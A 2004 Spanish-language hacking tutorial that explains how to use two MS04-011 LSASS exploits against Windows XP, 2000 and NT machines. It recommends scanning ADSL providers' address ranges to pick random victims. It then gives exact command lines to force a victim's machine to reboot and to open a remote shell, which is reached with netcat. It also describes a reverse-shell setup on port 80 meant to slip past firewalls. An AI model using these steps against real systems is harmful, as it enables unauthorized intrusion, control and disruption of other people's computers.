COMO UTILIZAR EL EXPLOIT DEL LSASS -
13/05/04
El LSASS es un fallo de seguridad que afecta a los sistemas operativos windows XP, 2000 y NT. Ese bug crea un overflow que permite inyectar código maligno al ordenador víctima: de esa forma podemos controlarlo remotamente.
Hay dos exploits para ese bug. El primero se llama ms04011lsass y permite el cuelgue de la máquina víctima. El segundo es el HOD-ms04011-lsasrv-expl y nos da control remoto del pc objetivo. Este segundo es el más interesante: el exploit abre un puerto en la máquina de la víctima y da a quien se conecte a él una consola de windows. A continuación voy a explicar más detalladamente los dos exploits.
Primero, lo que necesitamos saber es si el pc objetivo está parcheado. Estar parcheado significa que el fallo de seguridad está arreglado. El parche de seguridad para ese exploit se puede bajar desde Windows Update. Si no lo tienes te lo puedes bajar de aquí. Para detectar si la victima es vulnerable utilizamos un scanner de ips: hay diferentes para el LSASS, personalmente prefiero el DSScan (pulsar para descargar). Este escanea rangos de ips y nos dice si los sistemas son vulnerables o no. Funciona tanto por ips locales como de internet. Este es el ejemplo de un scan en una red local.
Para coger víctimas aleatoriamente os recomiendo escanear rangos de ips como los de los proveedores de adsl, tarifa plana. Por ejemplo la tarifa plana wanadoo es 62.82.0.0 - 62.82.254.254
Lo siguiente es escoger la maldad que le queremos hacer a la víctima. Voy a coger MADEVAI (192.168.1.51) que está encuadrado en rojo como ejemplo. Primero voy a utilizar el ms04011lsass para reiniciar el ordenador a la víctima. Para utilizar ese exploit se debe compilar el código que está en C. Esto es un poco engorroso por eso aquí os podéis bajar una versión ya compilada (no tiene interfaz gráfico, funciona por línea de comandos). Aquí esta el código en C para quien le interese.
Otra cosa que debemos saber es el OS (sistema operativo) de la víctima. El uso del exploit es muy sencillo: si ponemos ms0411lsass sin ningún parámetro nos pone como se utiliza. Se puede ver en la imagen de abajo. Se utiliza de la siguiente forma: ms0411lsass X ipvíctima donde X es 0 o 1 dependiendo del OS del objetivo. Si utiliza Windows 2000 o NT se pone un 0. Si utiliza Windows XP un 1. En mi caso se que la víctima utiliza Windows XP prof y que tiene la ip 192.168.1.51. Lógicamente el comando que voy a poner es: ms0411lsass 1 192.168.1.51 (como se puede ver en la imagen de abajo).
Seguidamente lo que hace el programa es enviarle el código maligno a la víctima. Aparecerá una línea que pone: shellcode size 404 que nos indica el tamaño del paquete enviado. Al cabo de un rato tiene que aparecer el Ret value = 1726. Si aparece de golpe o no es el mismo valor significa que el ordenador esta parcheado o nos hemos equivocado de versión de windows.
Como ha salido un ret value de 1726 la máquina se va a reiniciar en un tiempo entre 1 y 2 minutos. A la víctima le va a aparecer un cuadro de diálogo del mismo estilo que el que salía con el virus MSBlast. El usuario dispone de 1 minuto para guardar los cambios sino se le reinicia la máquina. Este cuadro no se puede cerrar, solo se puede aplazar cambiando la hora del sistema.
Después de utilizar el exploit he hecho un ping a las 23:26:06 y el ordenador estaba encendido. A las 23:28:18, dos minutos después he hecho otro y el ordenador ya no se encontraba en línea.
Ya hemos visto como se utiliza el primer exploit ¿Sencillo verdad? ahora vamos a ver el uso del HOD-ms04011-lsasrv-expl. Que os lo podéis descargar con código fuente incluido de aquí. Para explotarlo es recomendable usar 2 consolas al mismo tiempo. Es posible hacerlo en una sola pero es un poco engorroso. La idea es simple: en la primera ejecutaremos el exploit para que cree una consola remota en la víctima. En la segunda nos conectaremos a esta consola remota.
Para utilizar el HOD-ms04011-lsasrv-expl también es necesario saber que OS tiene el sistema objetivo. Si escribimos HOD-ms04011-lsasrv-expl como se puede ver en el ejemplo de más abajo, nos saldrá la explicación de como utilizar el exploit. La formula más simple es la siguiente: HOD-ms04011-lsasrv-expl X IPvíctima PuertoRemoto. Donde X es 0 si la víctima usa Windows XP, es 1 si usa Windows 2000 professional y es 2 si usa otro Windows 2000 o NT. IPvíctima es la ip del ordenador que queremos penetrar, en mi caso 192.168.1.51. PuertoRemoto es el puerto que el ordenador víctima abrirá para que nos podamos conectar. Al tanto con el puerto que debe estar permitido por el firewall y no puede estar usado por la víctima. Lo del firewall es muy frecuente en los usuarios de ADSL por lo que es mucho más fácil penetrar a los ordenadores con modem. Os recomiendo puertos como el 21 23 80 110... En mi caso e utilizado el 69 porque la victima no esta firewalled.
La cadena que he utilizado es HOD-ms04011-lsasrv-expl 0 192.168.1.51 69. De ese modo lo que estoy haciendo es crear un buffer overflow en el fichero lsass.exe que es un servicio de windows que escucha al puerto 445. Aprovechando este desbordamiento de buffer se inyecta código maligno y permite poner un puerto a la escucha. Al conectarse alguien a ese puerto se redirecciona una consola hacia la conexión establecida permitiendo así al usuario que ejecuta el exploit controlar la máquina víctima.
La segunda parte es conectarse a ese puerto remoto. El programa que voy a utilizar es el netcat que lo podéis encontrar aquí. También se puede utilizar cualquier otro programa que permita abrir puertos y enviar texto. Para abrir una purto a una cierta ip la sintaxis es la siguiente: nc ip puerto. En mi caso voy a poner nc 192.168.1.51 69 que si el exploit a funcionado correctamente tiene que conectarse y recivir: Microsoft Windows XX [Versión XX] Copyright. En ese caso ya estamos dentro del ordenador de la víctima. Felicidades! Para comprobarlo he ido a C:\Documents and Settings\ para listar los usuarios y he visto que solo hayuno. Se llama Marc.
En el caso que no se conecte (no te extrañe) no es obligatoriamente debido a que este hecho mal: sino que a veces no basta con una vez para que el exploit abra el puerto. Por eso he dicho antes que es muy recomendable usar dos consolas e ir utilizando el exploit en una e ir probando de conectar al mismo tiempo con la otra :p. Si de esa forma tampoco funciona será cuestión de cambiar de puerto o usar técnicas de evación de firewalls descritas en otro tutorial.
Una técnica para evadir un firewall es abrir un puerto en tu pc y hacer que se conecte la víctima a tí. Esto pasa porque muchos firewalls permiten conexiones salientes pero denegan las entrantes. Un ejemplo de esto sería abrir un puerto con el netcat de la siguiente forma: nc -L -vv -p 80. Pongo 80 porque así el firewall piensa que la víctima se conecta a un servidor web para coger una página y permite la conexión. Luego se tiene que explotar la víctima con: HOD-ms04011-lsasrv-expl X ip_víctima puerto_local mi.IP. En miIP se debe poner la ip de internet o la local dependiendo de los pc que estas hackeando. Em mi caso pondría la local porque el pc víctima es de la LAN. En puerto_local el que hayamos escogido para engañar al firewall, el 80. Quedaría de la siguiente forma: HOD-ms04011-lsasrv-expl 0 192.168.1.51 80 192.168.1.23
Si quereis saber más técnicas anti-firewalls esperaos un tiempo a que escriba el tuto :P
HERRAMIENTAS USADAS
DSScan (escaner) |
ms0411lsass (compilado) |
ms0411lsass (código fuente) |
HOD-ms04011-lsasrv-expl (compilado y codigo fuente) |
NetCat (conector) |
13/05/2004 - by plAnadecU